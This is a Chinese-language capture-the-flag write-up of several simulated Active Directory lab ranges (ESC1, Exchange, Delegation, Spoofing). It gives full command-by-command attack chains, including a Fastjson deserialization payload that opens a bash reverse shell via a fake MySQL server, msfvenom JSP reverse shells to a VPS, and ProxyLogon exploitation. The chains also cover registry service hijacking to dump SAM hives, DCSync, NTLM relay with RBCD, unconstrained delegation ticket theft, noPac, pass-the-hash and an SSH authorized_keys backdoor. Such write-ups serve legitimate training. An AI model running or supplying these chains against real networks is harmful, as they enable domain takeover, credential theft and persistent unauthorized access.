Enrollment Rights: NT Authority\Authenticated Users
表示允许Active Directory中任何经过身份验证的用户请求基于此证书模板生成的新证书
在上面内网信息搜集的时候172.22.9.7
扫出来了一个poc-yaml-active-directory-certsrv-detect
poc-yaml-active-directory-certsrv-detect:用于检测Active Directory中CertSrv服务的YAML格式的漏洞检测脚本或配置文件。
在kali里利用certipy-ad查看一下证书情况,直接就把ESC1的漏洞扫出来了
1 | proxychains certipy-ad find -u '[email protected]' -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout |
改一下kali里面的/etc/hosts(否则会超时)
1 | vim /etc/hosts |
利用 ESC1漏洞,通过申请XR Manager
证书模版并伪造域管理员,得到administrator.pfx
XR Manager证书模板:通常用于指定在 Active Directory环境中颁发特定类型的证书
administrator.pfx:通常是一个包含管理员用户的私钥和相关证书的文件
1 | proxychains certipy-ad req -u '[email protected]' -p 'MyPass2@@6' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn '[email protected]' |
用生成的administrator.pfx获取TGT票据和域管理员的NTLM哈希
1 | proxychains certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.9.7 |
得到域管理员哈希,此时相当于可以控制整个域了
1 | 2f1b57eefb2d152196836b0516abea80 |
WMI横向
打VMI横向获取flag03和flag04
1 | proxychains impacket-wmiexec XIAORANG/[email protected] -hashes :2f1b57eefb2d152196836b0516abea80 |
获取flag
1 | type C:\Users\Administrator\flag\flag* |
1 | flag03: flag{6b813ef2-1e3f-4fab-ac0a-21c1e443091c} |
1 | flag04: flag{97677e0f-2c6f-45f3-8de3-5e2f51a5462c} |
总结:
Exchange
工具准备:fscan、evil-mysql-server或MySQL_Fake_Server、gost、proxifier、proxyshell、proxylogon、SharpHound和BloodHound、dacledit、secretsdump、wmiexec、pthexchange
知识点:华夏ERP一系列漏洞、CVE-2021-26855和CVE-2021-27065、writeDacl写DCSync、域内横向
靶场介绍:Exchange 是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 Flag,分布于不同的靶机。 *注意:该靶场只有4个flag,如果提交完4个flag后仍未攻克成功,请关闭环境提交反馈。
外网
信息搜集
1 | fscan.exe -h 39.98.110.107 |
也可以用nmap扫描
1 | nmap -Pn -sT 39.98.110.107 |
80端口信息泄露
由于有个80端口是web网站,用dirsearch扫描一下
发现有个robots.txt
还有个download,存在信息泄露但是里面没东西没有什么用
华夏ERP漏洞
除此之外上面还扫出来8000端口也是一个入口网站
访问一下发现是华夏 ERP CMS v2.3
白名单越权
通过访问下面的payload可以Bypass访问到home.html等文件
1 | /login.html/../home.html |
信息泄露
访问下面的payload可以得到管理员的密码
1 | /user/getAllList;.ico |
1 | {"code":200,"data":{"userList":[{"id":63,"username":"季圣华","loginName":"jsh","password":"e10adc3949ba59abbe56e057f20f883e","position":"","department":null,"email":"","phonenum":"","ismanager":1,"isystem":1,"status":0,"description":"","remark":null,"tenantId":63},{"id":120,"username":"管理员","loginName":"admin","password":"e10adc3949ba59abbe56e057f20f883e","position":null,"department":null,"email":null,"phonenum":null,"ismanager":1,"isystem":0,"status":0,"description":null,"remark":null,"tenantId":null},{"id":131,"username":"测试用户","loginName":"test123","password":"e10adc3949ba59abbe56e057f20f883e","position":"","department":null,"email":"","phonenum":"","ismanager":1,"isystem":0,"status":0,"description":"","remark":null,"tenantId":63}]}} |
登录后台
弱口令
可以直接利用弱口令登录后台
1 | admin/123456 |
Fastjson反序列化RCE
首先看看存不存在这个洞(这里用bp来演示也可以用上面那个靶场的方法)
利用bp生成一个dns域名
用bp抓包运行下面url加密后的payload
1 | {"@type":"java.net.Inet4Address","val":"67bdltyaefztrvp4c1pdaatpegk78ywn.oastify.com"} |
回到bp发现接收到了说明存在漏洞
法一:利用evil-mysql-server弹shell
下载evil-mysql-server和ysoserial-all.jar并放在同一目录
在vps里运行
1 | ./evil-mysql-server -addr 3306 -java java -ysoserial ysoserial-all.jar |
将下面的payload进行url加密后访问
1 | { |
访问后即可getshell
法二:利用MySQL_Fake_Server弹shell
修改一下config.json
1 | { |
将ysoserial-all.jar和server.py放在同一目录
在vps里运行
1 | nc -lvvp 7777 |
回到bp中访问下面url加密后的payload
1 | { "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "<VPS-IP>", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections6_bash -c {echo,payload}|{base64,-d}|{bash,-i}", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } } |
即可getshell
查看当前用户为root
查找flag位置(home或者root目录)
1 | find ./root -name flag* |
获取flag01
1 | flag01: flag{83db52a3-8aa9-4141-986f-8028e2b0afbf} |
内网
信息搜集
查看一下网段信息,存在局域网
上传fscan
1 | python3 -m http.server 2201 |
扫描内网
1 | chmod 777 fscan |
整理一下
内网穿透
跟上面几个靶场一样上传gost做代理
1 | chmod 777 gost |
配置proxifier、proxychains这里就不具体演示了
内网渗透
用nmap扫描一下172.22.3.9
1 | proxychains -q nmap -sT -Pn 172.22.3.9 |
根据fscan里的结果访问一下https://172.22.3.9
发现是一个outlook电子邮箱
CVE-2021-26855
1 | proxychains -q python3 proxyshell.py -t 172.22.3.9 |
可以得到用户名,但是不能直接getshell
CVE-2021-27065
得到用户名之后可以直接利用现成的poc:proxylogon
1 | cd ProxyLogon |
getshell之后,可以直接拿到flag但是后面用rdp会比较方便些
添加用户
1 | net user TG1u g123456@ /add |
登录172.22.3.9
连接rdp
获取flag02
1 | flag02: flag{9bdfb615-adab-4263-b398-7887164a5349} |
域渗透
上传mimikatz查看一下用户的密码(以管理员身份运行)
1 | privilege::debug |
筛选出两个用户的Hash(下面会用到)
1 | Zhangtong |
域环境分析
上传SharpHound搜集域环境
1 | SharpHound.exe -c all |
但是不知道为什么这里一直抓不到(用管理员启动也一样),这里直接贴别人的图了
定位到Exchange这个机器,发现他对域内用户具有WriteDacl
WriteDacl权限:是 Windows 安全权限中的一项,允许用户修改对象的自由访问控制列表(DACL)。
DACL:是对象安全描述符的一部分,指定哪些用户或组被允许或拒绝访问对象。
writeDacl写入DCSync权限
DCSync权限:是Active Directory中的一种特殊权限,允许用户或计算机账户从域控制器(DC)复制用户的哈希值。
利用WriteDacl权限添加Zhangtong用户的DCSync权限
由于运行dacledit会出现问题,需要自己添加msada_guids.py 到同一目录下,然后修改
dacledit.py
中的from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
将impacket.
删掉就可以了(这里搞了半天才配好)
1 | proxychains -q impacket-dacledit xiaorang.lab/XIAORANG-EXC01\$ -hashes :fdfd5bada2b3c7dd34a46ccf9f007199 -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2 |
得到DCSync权限后,可以抓取域管理员的Hash
1 | proxychains -q impacket-secretsdump xiaorang.lab/[email protected] -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm |
获得域管理员的Hash
1 | NTLM:7acbc09a6c0efd81bfa7d5a1d4238beb |
WMI横向
1 | proxychains -q impacket-wmiexec xiaorang.lab/[email protected] -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb -dc-ip 172.22.3.2 -codec gbk |
获取flag04
1 | type C:\Users\Administrator\flag\flag.txt |
1 | flag04: flag{17a5df35-b8f8-485f-bd12-cba7a3c7cec9} |
1 | proxychains -q impacket-wmiexec xiaorang.lab/[email protected] -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb -dc-ip 172.22.3.26 -codec gbk |
但是进入后找不到flag的位置
域内横向
下面有两种做法
法一:登录域控
在172.22.3.2
进行WMI横向后添加新用户并加入管理员组
1 | net user TG1u g123456@ /add |
登录172.22.3.2
连接rdp
修改Lumia这个账号的密码
登录Lumia这个账号
在桌面上可以看到一个secret.zip
里面有flag但是需要密码
登录到邮箱可以看到提示密码就是电话号码,并给了一个csv文件
将csv文件里的电话复制到1.txt当作字典
1 | zip2john secret.zip > hash.txt |
解压后即可得到flag03
1 | flag03: flag{cf0c753c-233f-4729-8984-0746ea5878b7} |
法二:利用pthexchange
上面抓取域控Hash的时候我们也可以得到Lumia的Hash
1 | 862976f8b23c13529c2fb1428e710296 |
利用pthexchange可以导出里面的全部邮件及其附件
1 | proxychains -q python3 pthexchange.py --target https://172.22.3.9/ --username Lumia --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' --action Download |
跟上面一样爆破就行
总结:
Delegation
工具准备:fscan、suo5、proxifier、proxychains、hydra、msf、secretsdump、bloodhound-python、Rubeus、dfscoerce或PetitPotam、mimikatz、wmiexec或psexec
知识点:cmseasy系列漏洞、diff越权、密码喷洒、RDP远程重置过期密码、注册表提权、非约束性委派攻击
靶场介绍:Delegation是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
外网
信息搜集
用fscan扫描一下
1 | fscan.exe -h 39.98.109.138 |
再用nmap扫一下
1 | nmap -sS -sV -sC --min-rate=10000 39.98.109.138 |
根据结果访问一下80端口的/admin
,有个后台登录,并且可以发现cmseasy版本为7.7.5
搜索一下相关的漏洞
cmseasy漏洞
弱口令
用弱口令可以登录后台
1 | admin/123456 |
SQL注入
代码中传入参数 sql, 然后使用方法 unlockString 解码执行 SQL语句
1 | /?case=crossall&act=execsql&sql=Ud-ZGLMFKBOhqavNJNK5WRCu9igJtYN1rVCO8hMFRM8NIKe6qmhRfWexXUiOqRN4aCe9aUie4Rtw5 |
访问后即可得到admin账号的密码
CVE-2021-42643
登录后台后bp抓包
打现成的poc
1 | /index.php?case=template&act=save&admin_dir=admin&site=default |
访问1.php
存在漏洞那么我们写入一句话木马进行getshell
进入后查看flag位置
1 | find /home -name flag* |
但是发现权限不够
权限为www-data
,我们进行提权
diff越权
进入后发现不能用sudo进行提权
查看一下suid
1 | find / -user root -perm -4000 -print 2>/dev/null |
发现还可以通过diff越权查看文件
获取flag01
1 | diff --line-format=%L /dev/null /home/flag/flag01.txt |
1 | flag01: flag{b98c8617-3701-421f-91c6-f0220a068ced} |
除此之外我们还可以发现给力hint
1 | WIN19\Adrian |
可以猜测是内网的域用户并且用rockyou爆破,后面应该能用的上
内网
信息搜集
ifconfig
查看一下网段
存在局域网,上传一个fscan进行扫描(直接拖一个进去)
1 | chmod 777 fscan |
在result.txt查看结果
整理一下
内网穿透
由于是蚁剑做正向代理比较不方便
这里用suo5做反向代理
上传suo5.php后再vps上执行
1 | ./suo5 -t http://39.98.109.138/suo5.php -l 0.0.0.0:4444 |
配置proxifier
添加代理
添加规则
配置proxychains
1 | vim /etc/proxychains4.conf |
测试
内网渗透
密码喷洒
根据上面信息搜集的结果我们先来看一下win19这台机子(可能与上面的hint有关)
用nmap半开放扫描一下172.22.4.45
1 | proxychains -q nmap -sT -Pn 172.22.4.45 |
可以发现3389端口是开放的那么我们可以登录到远程桌面
根据提示用rockyou字典爆破一下WIN19\Adrian
用户的密码
1 | proxychains -q hydra -l Adrian -P /usr/share/wordlists/rockyou.txt 172.22.4.45 rdp -vV |
还是跟之前一样一堆误报(真的艹蛋),直接用别人爆出来的密码了
1 | Adrian/babygirl1 |
登录rdp,但是发现密码过期了
RDP 远程重置过期密码
在kali里利用rdesktop远程更改密码
1 | proxychains rdesktop 172.22.4.45 |
更改成功后登录rdp
但是找了一圈并没有flag并且权限也不够。
注册表提权
可以发现桌面上有一个PrivescCheck
文件夹
PrivescCheck
:是一种用于检查 Windows系统中潜在权限提升漏洞的工具。
这里已经给我们运行完了,直接看生成的 html文件
可以发现两个高危问题,一个是 WSUS配置问题,另一个是注册表服务问题。
WSUS(Windows Server Update Services):是微软提供的一种服务,用于管理和分发 Windows 更新。它允许管理员在内部网络中集中管理和控制 Windows 操作系统和其他 Microsoft 产品的更新。通过 WSUS,管理员可以选择性地批准、测试和部署更新,而不是依赖于每台计算机单独从互联网下载更新。
WSUS 更多的是被利用来横向移动,很少看到通过 WSUS 进行本地提权
而且当前的 WSUS 配置存在的安全风险主要是由于使用了不安全的 HTTP URL,没啥影响的其实。
所以这里我们就利用另一个漏洞,用注册表提权。
可以看到当前用户对gpupdate服务的注册表项具有写权限,并且用户也可以启动和停止gpupdate服务
因此我们可以利用注册表提取
利用msf生成木马程序
1 | msfvenom -p windows/x64/exec cmd='C:\windows\system32\cmd.exe /c C:\users\Adrian\Desktop\sam.bat ' --platform windows -f exe-service > 1.exe |
写一个sam.bat将 Windows 注册表的特定配置单元(hives)保存到文件,然后上传到win19
1 | //sam.bat |
上传后只要执行1.exe就会运行bat文件从而写入配置
但是1.exe无法通过管理员身份直接运行,所以得要利用上面的漏洞,修改注册表的gpupdate服务
在注册表中打开上面给的gpupdate服务的路径,将路径修改为上传的木马程序的路径
也可以直接用命令来修改
1 | reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Adrian\Desktop\1.exe" /f |
启动gpupdate服务即可执行1.exe从而执行sam.bat
1 | sc start gupdate |
可以看到生成了三个文件,也就是我们提权所需要的
将其导到kali利用secretsdump解一下
secretsdump
:Impacket工具包中的一个工具,用于从 Windows 系统中提取敏感信息。
1 | impacket-secretsdump LOCAL -system system -sam sam -security security |
得到Administrator用户的Hash
1 | Administrator:ba21c629d9fd56aff10c3e826323e6ab |
WMI横向
得到Administrator用户的Hash后我们就可以利用WMI横向得到172.22.4.45
的最高权限shell
1 | proxychains -q impacket-wmiexec [email protected] -hashes :ba21c629d9fd56aff10c3e826323e6ab -codec gbk |
获取flag02
1 | type C:\Users\Administrator\flag\flag02.txt |
1 | flag02: flag{4d963ed8-ea0c-4f1e-973c-96fb60444fd6} |
但是我们会发现并不能直接通过WMI横向得到另外两台机子的shell
这里有两种可能一种是可能Administrator 用户的密码不同导致哈希值不同,另一种可能是不在同一个AD域中
所以接下来我们需要获取到另外的Administrator用户的哈希
域环境分析
创建一个Administrator账户
1 | net user TG1u g123456@ /add |
登录有Administrator权限的rdp
但是这里我发现怎么都传不上SharpHound,本来想要分析看看是不是在同一个域里面的,不过rdp也是方便下面的操作的。
域内横向
上面利用secretsdump解出域管Hash的时候还扫出了另外一台机子的Hash
1 | $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:6796da512c8e33fa4e0860d95643ae69 |
利用bloodhound-python搜集DC01这台控制器的信息(这里执行成功说明应该是在同一个AD域中)
bloodhound-python
:是一个用于收集和分析AD域环境信息的工具,类似于 BloodHound 的 Python 版本。
1 | proxychains -q bloodhound-python -u win19$ --hashes ":6796da512c8e33fa4e0860d95643ae69" -d xiaorang.lab -dc dc01.xiaorang.lab -c all --dns-tcp -ns 172.22.4.7 --auth-method ntlm --zip |
将zip导入到BloodHound分析
查询非约束性委派最短路径(Shortest Paths to Unconstrained Delegation Systems)
起点:
WIN19.XIAORANG.LAB
(计算机账户)。终点:
DC01.XIAORANG.LAB
(域控制器)。实线:表示直接的权限或关系。
虚线:表示间接的权限或关系。
可以发现确实存在非约束性委派攻击
非约束性委派攻击
非约束性委派:是一种允许服务在没有任何约束的情况下,代表用户访问任何其他服务的机制。这种委派可以被攻击者利用来进行横向移动和权限提升。
上传Rubeus,以管理员身份运行
Rubeus
:是一个用于与 Kerberos和 Active Directory进行交互的工具,通常用于渗透测试和安全评估。
1 | Rubeus.exe monitor /interval:1 /filteruser:DC01$ |
此时,捕获到了域中的Kerberos票据请求,但没有触发认证请求所以无法得到TGT票据。
用dfscoerce或者PetitPotam触发强制NTLM认证
dfscoerce
:用于执行DFS强制身份验证攻击的 Python脚本。
PetitPotam
:用于执行 NTLM 关联攻击的 Python脚本。
1 | cd dfscoerce |
认证后,返回rdp即可得到TGT票据
将base64加密的票据进行解密并放入到DC01.kirbi文件中
.kirbi
文件:通常包含提取的 Kerberos票据
1 | echo 'doIFlDCCBZCgAwIBBaEDAgEWooIEnDCCBJhhggSUMIIEkKADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMWElBT1JBTkcuTEFCo4IEVDCCBFCgAwIBEqEDAgECooIEQgSCBD7ti0Y5GuDBR4NG10UvgfO7O49xoE5ss3jW8Cbndjl+30ZtZyRhxc4JpPsLwdD+pc7tHg45VYg6vUVCwYHUO2FRaZ/ZOB1VaxDwLytKD7Q0ySHBtSmJuU51N8SPy3i8JbkfjDLP9igMfydEyCdxNSGPatHQTjjcdNPRe4cyg6QE3lwv+mPZvrvokhhBFvZkFJw7hvYMu2Izg/QNmmhGY6KOOI21wJ51G6uqnpTS3cRxvnVmNV2oTvG2fxfqn3nJ9xFFWXn04DFpWA+C+Erg4Eu384dGM6+zL2jVF1WHnv9ohMobcN0owlSBpX7Xj8FBffZbGEmOwFph1P6PmjeWCKSbQDdzRWtUeT4I0O44RFYOmFHcf8oUhyPu4tHFnwNgJN9cWPH4IsAASb0sS8lC9ae9my3t3JZ5i4qNpKhoyOfCWQdF7sZFeVV03sP6Ouu817L8LLvqQcqcVrH2QikNyJD7f/RLtemR3LsplaWps8dcnTc2aK5CAASm1S3R+2HiTHbPjVP0XbnlFOfggLNviXjdUu1y7VGALADOmWzQA0CXxAw0z3bPeP54t2Blx+4n5/hjn0YK3OhNgfKo9fXqbvRrNvBA4ARSHjOulw1muYOGuLoZoTAHY6WPMv2AFV90n0NvCQbMg20sU3aY/ApsoAB0ugbMC5kCUd1srbxhf12XJ56cqjQWgvFBeOrDp2SnqTp+WOrVTBrM3UDNp9Q0EZBFpr6SjWYwx4xBAy6h2OFSfSxcGlyq93yCkmqbBmYyV62GHGS5I6XuWi1QWqoPtSum2+UrdiciBShepDGYKPn5bXY9ST0RYuBuK7NwQGQGfWjn/V8JwLV1AqxBvoi6Qv7sIMCpOB9u6uRP2bgvrSyAwmIvhyPC5DcvxQEC3yanNQ+y45TTtEPKRpAaazQckIm10dVuPYjC1KcdnFAJP8b09pMFxPEuqxUMsK8RlJSddYhQqe/awjGb0uF166GKU6he5lV8fHi41JFPds7IR0XSZP9xEhprNSxs+RScOfnosPunKfE5HQ7yF+TkIA+e0HBkofuriLEEZ+lYYiT/DX31nUNcf//fOGOy7zy3/I9KaU5JAyf7qHcyGaJA+ZGNuGzke2PcnzF5P/CtOpnC9N73DfSv6rUNDagYJDhVMqfCYUzmi80XnrOKXoCsNTEyOI3od1lj2aZ6lg7IIbr96dlYibeg0EKSJrk5PoSW2GXcPTGYgN+yvX8oA4RjExaPch9yNb7zJ4h3F21OyOKNdaukRbcYPZu8lVALZvrPUUadhWk2FIqm7Py3YdLgG182XH2v7DcagJsvw+jrq1QFPMEigPVAvhR+QvV8Flu1T11K95gSGe6sdABJ4H9UMfB9+3io4/zqXTkVgRj+mQUmIdYE2So1Jb/vMrQb//I75kPSdbYNWXQ3H/GpDUmtY56DOa6Dan8zK7hFU08DFXS7re+jgeMwgeCgAwIBAKKB2ASB1X2B0jCBz6CBzDCByTCBxqArMCmgAwIBEqEiBCCeSO41sm9bD7EXeL3FIaRB5U1gI3bo0poPKZU1xzyKxKEOGwxYSUFPUkFORy5MQUKiEjAQoAMCAQGhCTAHGwVEQzAxJKMHAwUAYKEAAKURGA8yMDI1MDEyNTEwMjI1N1qmERgPMjAyNTAxMjUyMDIyNTdapxEYDzIwMjUwMjAxMTAyMjU3WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDFhJQU9SQU5HLkxBQg==' | base64 -d > DC01.kirbi |
PtT
**Pass-the-Ticket (PtT)**:使用提取的 TGT 票据在目标系统上进行身份验证,而无需知道用户的密码。
上传mimikatz抓取DC01这台控制器上的域管理员Hash(注意要将mimikatz.exe与DC01.kirbi放在同一目录)
1 | mimikatz.exe "kerberos::purge" "kerberos::ptt DC01.kirbi" "lsadump::dcsync /domain:xiaorang.lab /user:administrator" "exit" |
得到域管理员Hash
1 | NTLM: 4889f6553239ace1f7c47fa2c619c252 |
PtH
可以利用WMI横向或者SMB横向
1 | proxychains -q impacket-wmiexec -hashes :4889f6553239ace1f7c47fa2c619c252 xiaorang.lab/[email protected] -codec gbk |
1 | proxychains -q impacket-psexec -hashes :4889f6553239ace1f7c47fa2c619c252 [email protected] -codec gbk |
获取flag03
1 | type C:\Users\Administrator\flag\flag03.txt |
1 | flag03: flag{fc3f57fa-a33b-480e-8856-7929fbc30f6b} |
获取flag04
1 | type C:\Users\Administrator\flag\flag04.txt |
1 | flag04: flag{1be92fa9-293d-4930-b161-7af5cdda1582} |
总结:
Spoofing
工具准备:fscan、gost、proxifier、proxychains、msf、Adinfo_win、netexec、ntmlrelayx、Petitpotam、getST、wmiexec或psexec、mimikatz、noPac
知识点:CVE-2020-1938、NTLM Relay via WebDAV+Petitpotam强制认证+RBDC攻击、noPac攻击
靶场介绍:Spoofing是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
外网
信息搜集
先用fscan扫描一下,扫出来一个后台管理
访问一下8080端口,但是没有给是什么CMS且随便点点也是一堆404
用dirsearch扫描一下网站根目录
谷歌里随便搜一个一个/examples
下的路径就能搜的出Apache Tomcat 漏洞
或者访问一下/docs
也可以看到,并且能知道版本为9.0.30
那么搜索一下这个版本的漏洞有哪些,直接就搜出 CVE-2020-1938
CVE-2020-1938
跟着文章利用现成的poc打一下 AJPy
运行POC读取tomcat的配置文件信息web.xml
1 | cd AJPy |
发现一个文件上传的路径
使用msf生成木马shell.txt
1 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=<VPS_IP> LPORT=7777 > shell.txt |
上传shell.txt,并用bp抓包
得到上传的文件路径
1 | /upload/eb47be1ba0d709f96bf6e18735f5323b/20250127072151515.txt |
还是接着用tomcat.py
1 | //kali |
但是估计没有python环境创建不了pty,不过也可以直接执行命令了
但是看着实在难受所以还是用自己写的马来打,这样弹出来的shell直接就有tty
1 | <% |
跟上面一样上传然后运行
1 | //kali |
直接就是root用户了,所以直接找flag
1 | find /root -name flag* |
获取flag01
1 | cat /root/flag/flag01.txt |
1 | flag01: flag{fcc468dc-1093-4abf-b00a-d75579945115} |
SSH 免密登录后门
先在kali生成ssh密钥
1 | ssh-keygen -t rsa -b 4096 |
查看密钥
1 | cat ~/.ssh/id_rsa.pub |
把密钥写进靶机,并且加上权限
1 | echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4HZhy1S5L3PFxCr00Of1EJ1/8UkkNTaRvg/pH3aC77XLWrOC9dglX0oFVOcGR+BzuqJZuyNIF6mR0CP3fCUe4lzmrDPqCfheCsN2bwNZXQAPMs+XHikn69kPX2b0bJtOZ/tXbQ6NVN+PuDEI0fwtVziU6kvi3z57irHOegaztdKmjHN3M0SoPSQQQ5NVh82/uDaMD8ChuM4AIar6L1Mj/m36tW5epI5YECqHZOVARzXLn8QKsgt7sXmuPHeP3BySPUzFvSIIGIPDS8oW3v4JT3sr9R3LTfvhQSapAkZexkT67TOzsHk3iV9XqgOJq4SDuvLvOvTYfvuWIUM7FRBLXZGUGC6Y4CfxRDw6ZzVpx4entPHKYS6VtoUJn74I4HrJILBK9GKI53Z4F3zVvIBq82xA+RJkd36cOCJtvuttyVhTHnAiKrHxW2nxh07sw5U7BbaU3sts9hlVQJTiNeHNEp9yitdz575WV6WIH4PdJjlrGFTf5JRzHhjHiU3XDVIjnpgF5N1VLuL8C781quESskZehKKLBn1anLwBDGpFOWl83lolvPh5MFLtTQT7nr9KjpD56vkD8WtnQyA2oik/yRVn39zW02tgp+BZi5nH9P5swVuYkLvWGiNpAq6493nZxbfGF3DjJukenQgVNmMltDYnfgHmr4VQhxZzuhCjSxw== root@kali" > /root/.ssh/authorized_keys |
后面就可以在自己的机子上随便连接了
1 | ssh -i ~/.ssh/id_rsa [email protected] |
内网
信息搜集
ifconfig查看网段
存在局域网,上传fscan扫描内网
1 | //vps |
整理一下
内网穿透
利用gost做正向代理直接看上面靶场演示的,这里不演示了
1 | ./gost -L=admin:[email protected]:1080 |
配置proxifier
配置proxychains
内网渗透
MS17-010
上面直接就扫出来MS17-010了那么直接就先打永恒之蓝
1 | proxychains -q msfconsole |
获取flag02
1 | cat flag02.txt |
1 | flag02: flag{2d407fbe-61c2-4142-b85f-f90fb0c9399c} |
抓一下 Hash
1 | load kiwi |
1 | XR-DESKTOP$ |
抓取Administrator用户的Hash
1 | hashdump |
1 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:48f6da83eb89a4da8a1cc963b855a799::: |
域环境分析
先登录172.22.11.45
的rdp,然后上传一个Adinfo_win分析一下域环境
adinfo_win.exe:用于查询和显示Active Directory环境信息的工具。
1 | Adinfo_win.exe -d xiaorang.lab --dc 172.22.11.6 -u yangmei -H 25e42ef4cc0ab6a8ff9e3edbbda91841 |
可以看到域的最大账户配额 (MAQ)为0,所以我们不能添加管理员账户来连接rdp,那么约束委派等攻击就没法打了。
看了一下别人的wp。发现需要打NTLM Relay攻击。
NTLM Relay via WebDAV+Petitpotam强制认证+RBDC攻击
NTLM Relay via WebDAV:是一种利用 WebDAV 服务进行 NTLM中继的攻击方法。
WebDAV:是一种允许用户在 Web 上编辑和管理文件的扩展。通过设置一个恶意的 WebDAV 服务器,攻击者可以捕获和中继 NTLM 认证请求。
RBCD 攻击:是一种 Kerberos约束委派机制,允许服务在特定条件下代表用户请求其他服务的票据。这种机制可以限制委派的范围,只允许特定的服务和用户进行委派。
用netexec探测开启了WebDAV服务的机子有哪几台(由于我的kali的python环境是3.x的我懒得重新弄成2.x的所以就不用CrackMapExec了)
netexec:用于执行各种网络协议和服务的工具,通常用于渗透测试和安全评估。NetExec是CrackMapExec的延续具有CrackMapExec的全部功能。
1 | proxychains -q netexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M webdav |
可以看到172.22.11.26
开启了WebDAV服务,那么接下来的目标就是这台机子了。
用netexec进行petitpotam扫描(用于下面利用petitpotam触发强制认证)
1 | proxychains -q netexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M coerce_plus |
可以发现172.22.11.6
和172.22.11.26
都可以进行petitpotam强制认证。
接着开始进行攻击前还需要注意NTLM中继需要将80 端口转发出去伪造 HTTP 服务
1 | ssh -i ~/.ssh/id_rsa [email protected] -D socks_ip:port -R \*:79:127.0.0.1:80 |
测试一下
可以看到已经成功的将80端口转发出去了。那么就可以开始攻击了。
用ntmlrelayx实现NTLM中继攻击,用前面的 XR-Desktop作为恶意机器账户配置目录数据库(RBCD)
ntlmrelayx:用于执行 NTLM中继攻击的工具,通常用于渗透测试和安全评估。
1 | proxychains -q impacket-ntlmrelayx -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access |
使用Petitpotam触发XR-LCM3AE8B认证到 172.22.11.26
1 | cd PetitPotam |
可以看到已经发送 EfsRpcOpenFileRaw
请求,触发目标计算机的NTLM认证。并且收到预期的ERROR_BAD_NETPATH
异常,攻击成功触发了NTLM认证,攻击成功。
再次返回xr-desktops
用户现在可以通过S4U2Proxy冒充其他用户在 XR-LCM3AE8B$
上进行操作。
完成RBCD攻击之后直接申请 XR-LCM3AE8B的TGT和S4U2self票据并且冒充administrator用户。
getST:Impacket套件中的一个工具,用于获取服务票据。
1 | proxychains -q impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :540711072703fde7af17da8dd7dcaa8d xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6 |
可以看到已经成功获取票据并保存在指定的缓存文件中。
改一下环境变量和hosts配置,否则连接不上。
1 | export KRB5CCNAME=administrator@[email protected] |
PtH
有了票据接着就可以无密码通过WMI横向或者SMB横向打PtH连接。
1 | proxychains -q impacket-wmiexec xiaorang.lab/[email protected] -k -no-pass -target-ip 172.22.11.26 -codec gbk |
获取flag03
1 | type C:\Users\Administrator\flag\flag03.txt |
1 | flag03: flag{7c1269a8-80f0-4433-8c21-168dab07d2ba} |
noPac攻击
noPac 攻击:是一种针对Windows环境中的Kerberos身份验证机制的攻击技术。该攻击利用了Kerberos协议中的一个特性,即在某些情况下,Kerberos票据(Ticket Granting Ticket, TGT)可以在没有 PAC的情况下被请求和使用。
PAC:是 Kerberos 票据中的一部分,包含了用户的权限和身份信息。
利用原理:如果域内存在一台域控名为DC(机器账户为DC$)的域控机,此时攻击者可利用CVE-2021-42287漏洞去申请一个机器账户,再将机器账户的
sAMAccountName
修改为DC。然后再利用这个机器账户去申请一个TGT票据,再将DC的sAMAccountName
修改为其他。修改结束后再利用这个TGT通过S4U2Self去申请ST票据,此时KDC识别TGT票据内用户名为DC,检索到域内并未存在DC用户,但存在DC$用户(检索的依据为sAMAccountName值),于是KDC通过DC机器的hash加密票据,我们便可成功拿到DC的权限。
创建一个Administrator账户
1 | net user TG1u g123456@ /add |
登录RDP
上传mimikatz
以管理员身份运行抓Hash
1 | privilege::debug |
获得用户的Hash
1 | zhanghui |
打noPac攻击(这里也可以直接用XR-DESKTOP$用户打)
1 | cd noPac |
获取flag04
1 | type C:\Users\Administrator\flag\flag04.txt |
